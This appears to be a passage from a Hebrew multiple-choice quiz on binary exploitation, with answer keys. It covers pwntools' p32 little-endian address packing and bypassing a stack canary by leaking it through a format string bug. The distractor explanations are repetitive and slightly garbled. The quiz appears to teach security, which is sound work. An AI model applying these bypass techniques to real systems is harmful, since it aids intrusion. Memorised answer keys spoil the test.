- ד. הערך המספרי 134513750: הנחה שגויה, אף שזהו הערך העשרוני של הכתובת, p32 מחזירה את הבתים הארוזים ל-payload ולא מספר עשרוני גולמי
✓ תשובה נכונה: ג — p32 אורז int ל-4 בתים Little Endian: 0x08048456 → b'\x56\x84\x04\x08'. הכרחי לבניית Payload עם כתובת יעד לקפיצה.
שאלה 5.3 [קשה] · זוהה Stack Canary. כיצד בכל זאת אפשר לעקוף אותו?
Stack Canary
- א. Format String Bug יכול לדלוף את ערך ה-Canary מהזיכרון, ואז כוללים אותו במדויק ב-Payload לפני כתובת החזרה — כך הבדיקה עוברת והניצול מצליח
- ב. פשוט מתעלמים ממנו: הנחה שגויה, אף שלא ניתן להתעלם מ-Canary כי הוא נבדק לפני ret, ולכן חובה לדלוף את ערכו ולשחזרו נכון ב-Payload כדי לעקוף כאן
- ג. מריצים את הבינארי מחדש: הנחה שגויה, אף שהרצה מחדש אינה משנה את ה-Canary באותה ריצה, ויש לדלוף את ערכו ולשלבו ב-Payload כדי לעבור בדיקה
- ד. מגדילים את ה-buffer: הנחה שגויה, אף שהגדלת הקלט רק תפעיל את בדיקת ה-Canary ותקרוס, ולכן הדרך היא לדלוף את ערכו ולשמרו נכון ב-Payload כאן כן
✓ תשובה נכונה: א — Canary נבדק לפני ret. עוקפים בדליפת ערכו (Format String / Info Leak), ואז משבצים אותו נכון ב-Payload. ל-PIE/ASLR צריך גם דליפת כתובות.